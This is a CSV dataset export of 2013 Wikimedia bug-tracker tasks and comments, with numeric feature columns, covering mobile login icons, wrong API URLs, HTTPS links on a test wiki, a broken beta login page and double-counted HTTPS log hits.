226502,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon",Yeh this is a stylesheet rule. I'm not sure if it is possible to configure images in stylesheets. Of course a rule in Mobile.css could be added to override the icon.,,,1366910032,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,3.0,3.0,6.0,6.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,11.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8,Yeh this is a stylesheet rule. I'm not sure if it is possible to configure images in stylesheets. Of course a rule in Mobile.css could be added to override the icon.
226498,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon","After seeing the wgMobileFrontendLogo config I had moved this to the wikimedia product, but then realised meta should already be configured for this. Turns out a couple of stylesheets in the MobileFrontend extension use images/W.png so moving this bug back to that product.",,,1366904469,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,15.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,15.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.8125,0.8541666666666666,"After seeing the wgMobileFrontendLogo config I had moved this to the wikimedia product, but then realised meta should already be configured for this. Turns out a couple of stylesheets in the MobileFrontend extension use images/W.png so moving this bug back to that product."
49242,Http-Request to external wikis will use wrong URL when using wfScript( 'api' ) to construct the URL,"Since https://gerrit.wikimedia.org/r/#/c/58728/2/includes/site/MediaWikiSite.php wfScript is used to construct the API-URL for Http-Requests to other wikis. This makes no sense as wfScript uses local configuration which can lead to a broken URL.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1366019760,1366118210.0,PHID-USER-t4sxxglz6yyrgxeib43i,False,,False,PHID-TASK-fvzswgtua22gqmx5527t,task_description,resolved,True,c2,1,False,False,True,-20,True,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,19.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.018518518518518,0.7037037037037037,"Since URL wfScript is used to construct the API-URL for Http-Requests to other wikis. This makes no sense as wfScript uses local configuration which can lead to a broken URL.

--------------------------
**Version**: unspecified
**Severity**: normal"
227451,Http-Request to external wikis will use wrong URL when using wfScript( 'api' ) to construct the URL,Change merged.,,,1366118210,,PHID-USER-fl3e5yy5n6ewjsv242bg,False,,,PHID-TASK-fvzswgtua22gqmx5527t,task_subcomment,,True,c2,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Change merged.
227444,Http-Request to external wikis will use wrong URL when using wfScript( 'api' ) to construct the URL,Related URL: https://gerrit.wikimedia.org/r/59120 (Gerrit Change Id5aaa58f10d513e082b217aeb8d88b8228341a48),,,1366019972,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fvzswgtua22gqmx5527t,task_subcomment,,True,c2,1,False,,,-20,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Id5aaa58f10d513e082b217aeb8d88b8228341a48)
48967,SSL is missing,"**Author:** `dwarika1987`

**Description:**
http://toro.wmflabs.org/wiki/Special:UserLogin?useAgora=1

When we are clicking on Secure sign in then getting message like ""Google Chrome's connection attempt to toro.wmflabs.org was rejected. The website may be down, or your network may not be properly configured.""

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1365273480,1365273911.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-yyp7e2dyayaqh5kfr4vq,task_description,resolved,True,c2,1,False,False,True,-21,True,0.0,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,15.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,10.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.986111111111111,0.6805555555555556,"**Author:** CODE

**Description:**
URL

When we are clicking on Secure sign in then getting message like ""Google Chrome's connection attempt to toro.wmflabs.org was rejected. The website may be down, or your network may not be properly configured.""

--------------------------
**Version**: unspecified
**Severity**: normal"
210838,SSL is missing,Please remember that the MediaWiki product is NOT the correct place to file reports about individual sites.,,,1365274272,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yyp7e2dyayaqh5kfr4vq,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,17.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.055555555555555,0.9444444444444444,Please remember that the MediaWiki product is NOT the correct place to file reports about individual sites.
210833,SSL is missing,"

*** This bug has been marked as a duplicate of bug 46962 ***",,,1365273911,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yyp7e2dyayaqh5kfr4vq,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 46962 ***"
48963,Tools: Special Pages: Login/Create account link goes to old login page,"**Author:** `anyumousse`

**Description:**
From Logon page (http://toro.wmflabs.org/wiki/Special:UserLogin?useAgora=1)
i chose Tools then Special Pages (http://toro.wmflabs.org/wiki/Special:SpecialPages)then the link for Log In/Create an Account and got the old style login page (http://toro.wmflabs.org/wiki/Special:UserLogin) without the green new account ""Join testwiki"" button.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC",Needs Triage,90.0,1365272220,1365275682.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-xum7ntri7xtok253vytv,task_description,invalid,True,c2,1,False,False,True,-21,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,4.0,13.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.5714285714285714,"**Author:** CODE

**Description:**
From Logon page (URL
i chose Tools then Special Pages (URL the link for Log In/Create an Account and got the old style login page (URL without the green new account ""Join testwiki"" button.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC"
210649,Tools: Special Pages: Login/Create account link goes to old login page,"This is expected, as the new interface is only triggered on demand using the URL parameter. When (if) it becomes the default, that link will point to the new interface.",,,1365275682,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xum7ntri7xtok253vytv,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,8.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.861111111111111,0.7777777777777778,"This is expected, as the new interface is only triggered on demand using the URL parameter. When (if) it becomes the default, that link will point to the new interface."
48962,HTTPS link is shown on toro new login form but HTTPS is not supported,"**Author:** `testingwithfire`

**Description:**
I'm using the new login process (useAgora in query string).

I have HTTPS Everywhere enabled in FF 19.0.2. I suspect that HTTPS Everywhere may also be buggy on this browser because I see some other unrelated sites that should have HTTPS in the URL don't have it.

When I copy the ""http:"" link for the toro server into the FF location bar, the http disappears and I'm left with something that looks like:

http://toro.wmflabs.org/wiki/Special:UserLogin?useAgora=1

I also see a ""use secure server"" link, which looks like it's dead:

""Firefox can't establish a connection to the server at toro.wmflabs.org.""

As a user, I would wonder why https:// isn't in the location bar and why I have to click another link to use a secure server. Again, this may be an issue with HTTPS Everywhere.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1365271980,1365557669.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-y53fwso3t3tkl4y7l4da,task_description,resolved,True,c2,1,False,False,True,-21,True,0.5,0.5,0.0,0.0,1.5,4.5,1.5,0.5,0.0,0.0,2.5,2.5,0.0,0.0,0.0,4.5,0.0,6.0,9.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,0.5,0.5,12.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,6.5,1.5,14.5,2.5,1.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,5.5,9.0,6.0,0.0,3.0,0.0,5.5,0.0,3.0,2.5,0.0,0.5,0.0,0.0,0.0,3.6224489795918364,0.6326530612244898,"**Author:** CODE

**Description:**
I'm using the new login process (useAgora in query string).

I have HTTPS Everywhere enabled in FF 19.0.2. I suspect that HTTPS Everywhere may also be buggy on this browser because I see some other unrelated sites that should have HTTPS in the URL don't have it.

When I copy the ""http:"" link for the toro server into the FF location bar, the http disappears and I'm left with something that looks like:

URL

I also see a ""use secure server"" link, which looks like it's dead:

""Firefox can't establish a connection to the server at toro.wmflabs.org.""

As a user, I would wonder why https:// isn't in the location bar and why I have to click another link to use a secure server. Again, this may be an issue with HTTPS Everywhere.

--------------------------
**Version**: unspecified
**Severity**: normal"
210609,HTTPS link is shown on toro new login form but HTTPS is not supported,"The new login form only shows the secure login link if it thinks the wiki server can do HTTPS (and you're not already on HTTPS), so a while ago I intentionally mis-set toro's server configuration to show the link despite it not supporting https. Matthew Flaschen just fixed toro's config.

Thanks for testing!",,,1365557669,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,False,,,-20,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,12.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,11.0,3.0,2.0,8.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,6.0,8.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9692307692307693,0.8307692307692308,"The new login form only shows the secure login link if it thinks the wiki server can do HTTPS (and you're not already on HTTPS), so a while ago I intentionally mis-set toro's server configuration to show the link despite it not supporting https. Matthew Flaschen just fixed toro's config.

Thanks for testing!"
210605,HTTPS link is shown on toro new login form but HTTPS is not supported,*** Bug 46967 has been marked as a duplicate of this bug. ***,,,1365273911,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46967 has been marked as a duplicate of this bug. ***
210599,HTTPS link is shown on toro new login form but HTTPS is not supported,"This is a legitimate bug, though it is in fact unrelated to HTTPS Everywhere.  It should not be showing the ""use secure server"" link unless/until HTTPS is supported.  I need to determine if this is a problem with toro's config or the code proper.

HTTPS not being used automatically is not a bug.  MediaWiki lets wikis be conservative about SSL usage, even if SSL is supported.  For instance, WMF has such settings.  This is to avoid overwhelming the SSL servers.",,,1365273174,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,False,,,-21,True,0.0,0.0,0.0,2.5,2.5,4.5,4.5,0.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,5.0,8.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,7.5,11.0,2.5,0.5,6.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,8.0,8.0,0.0,1.0,0.0,1.5,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,3.8129411764705883,0.7817647058823529,"This is a legitimate bug, though it is in fact unrelated to HTTPS Everywhere.  It should not be showing the ""use secure server"" link unless/until HTTPS is supported.  I need to determine if this is a problem with toro's config or the code proper.

HTTPS not being used automatically is not a bug.  MediaWiki lets wikis be conservative about SSL usage, even if SSL is supported.  For instance, WMF has such settings.  This is to avoid overwhelming the SSL servers."
210593,HTTPS link is shown on toro new login form but HTTPS is not supported,"HTTPS Everywhere doesn't have a rule for that domain, so it can't be HTTPS Everywhere's fault. I don't think Toro supports HTTPS - even if it did I don't think it could have a valid certificate.",,,1365272547,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-y53fwso3t3tkl4y7l4da,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,18.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,7.0,9.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6136363636363638,0.6818181818181818,"HTTPS Everywhere doesn't have a rule for that domain, so it can't be HTTPS Everywhere's fault. I don't think Toro supports HTTPS - even if it did I don't think it could have a valid certificate."
48649,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"- user should not be logged in
- go to http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page
- click the star in the top-right part of the page (watch icon)
- ""Please login or sign up to watch this page. Login/Sign up"" section opens at the bottom of the screen
- click Login link
- I was expecting login page to open
- http://meta.wikimedia.org/wiki/Missing_wiki page opens instead

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1364497680,1364558957.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-5hxm2olczto6qo3zb43s,task_description,resolved,True,c2,1,False,False,True,-22,True,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,11.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,11.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.2872340425531914,0.5638297872340425,"- user should not be logged in
- go to URL
- click the star in the top-right part of the page (watch icon)
- ""Please login or sign up to watch this page. Login/Sign up"" section opens at the bottom of the screen
- click Login link
- I was expecting login page to open
- URL page opens instead

--------------------------
**Version**: unspecified
**Severity**: normal"
216494,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"So the login page is:
 http://commons.wikimedia.beta.wmflabs.org/wiki/Special:LoginHandshake?useformat=mobile

That redirects to:
 http://commons.wikimedia.beta.wmflabs.org/wiki/Special:LoginHandshake?useformat=mobile

Which in turns gives a 'Missing Wiki' page. If one goes to http://commons.wikimedia.beta.wmflabs.org/  you get the same page, which means that commonswiki is disabled on beta.


A few days ago, I have reduced the number of wikis on beta (see bug 46104, gerrit https://gerrit.wikimedia.org/r/#/c/55889/ ).   commonswiki has indeed been removed there :(

I have readded commons wiki with:
https://gerrit.wikimedia.org/r/#/c/56593/
https://gerrit.wikimedia.org/r/#/c/56594/

And refreshed the CDB file:

mwdeploy@deployment-bastion:/home/wikipedia/common$ ./multiversion/refreshWikiversionsCDB 
/home/wikipedia/common/wikiversions.cdb successfully built.

The wiki is back up:
http://commons.wikimedia.beta.wmflabs.org/",,,1364558395,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5hxm2olczto6qo3zb43s,task_subcomment,,True,c2,1,True,,,-22,True,0.5,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,1.5,0.0,5.0,5.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,11.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,11.5,1.0,1.0,5.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,2.5,5.0,10.0,0.0,1.0,0.0,2.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.876923076923077,0.7307692307692308,"So the login page is:
 URL

That redirects to:
 URL

Which in turns gives a 'Missing Wiki' page. If one goes to URL  you get the same page, which means that commonswiki is disabled on beta.


A few days ago, I have reduced the number of wikis on beta (see bug 46104, gerrit URL ).   commonswiki has indeed been removed there :(

I have readded commons wiki with:
URL
URL

And refreshed the CDB file:

mwdeploy@deployment-bastion:/home/wikipedia/common$ ./multiversion/refreshWikiversionsCDB 
/home/wikipedia/common/wikiversions.cdb successfully built.

The wiki is back up:
URL"
216486,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"The tests still fail.

Example:

https://wmf.ci.cloudbees.com/job/_debug-MobileFrontend-template/lastCompletedBuild/testReport/(root)/Manage%20Watchlist/Login_link_leads_to_login_page/

https://saucelabs.com/jobs/432ea7d5e5fc49ccb9d2ec0cc55d5ee0",,,1364557059,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-5hxm2olczto6qo3zb43s,task_subcomment,,True,c2,1,False,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,33.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.75,"The tests still fail.

Example:

URL

URL"
216480,Link to login page broken at en.m.wikipedia.beta.wmflabs.org,"I did reproduce the problem using Safari.  Seems the bug has been fixed in the code and that the beta Apaches were still having an old copy of the code.  That was most probably related to GlusterFS being stalled somehow.

I have restarted the apaches instances that were showing a lot of network usage (related to gluster). That seems to have cleaned the stalled files, thus actually serving the new code.",,,1364555498,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5hxm2olczto6qo3zb43s,task_subcomment,,True,c2,1,True,,,-22,True,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,18.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,12.0,6.0,10.0,1.0,1.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,5.0,0.0,1.0,0.0,4.097560975609756,0.7073170731707317,"I did reproduce the problem using Safari.  Seems the bug has been fixed in the code and that the beta Apaches were still having an old copy of the code.  That was most probably related to GlusterFS being stalled somehow.

I have restarted the apaches instances that were showing a lot of network usage (related to gluster). That seems to have cleaned the stalled files, thus actually serving the new code."
48276,"HTTPS generates two hits in server log, count only one of those","from https://app.asana.com/0/1891117540465/2773569521405

Dec 15, 2012 Diederik van Liere:
HTTPS traffic poses a second challenge and that is that it generates two hits in the server logs: one nginx hit and on squid hit. Nginx forwards the request to squid and so the squid hit contains the IP address of the Nginx server and not of the original requestor. This means that we will over-estimate the mobile usage from the US and The Netherlands (were the data centers are located). This will affect Andre's country report.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1363612740,1364223713.0,PHID-USER-m5uwh66djeylkim5chfe,False,,False,PHID-TASK-46tnguxz23qate2qrdve,task_description,resolved,True,c2,1,False,False,True,-24,True,0.0,0.0,0.0,1.0,1.0,5.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,6.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,4.0,1.5,0.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,13.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,2.0,11.0,1.5,3.0,9.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,1.5,6.5,5.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.9582115721800113,0.7349503214494448,"from URL

Dec 15, 2012 Diederik van Liere:
HTTPS traffic poses a second challenge and that is that it generates two hits in the server logs: one nginx hit and on squid hit. Nginx forwards the request to squid and so the squid hit contains the IP address of the Nginx server and not of the original requestor. This means that we will over-estimate the mobile usage from the US and The Netherlands (were the data centers are located). This will affect Andre's country report.

--------------------------
**Version**: unspecified
**Severity**: normal"
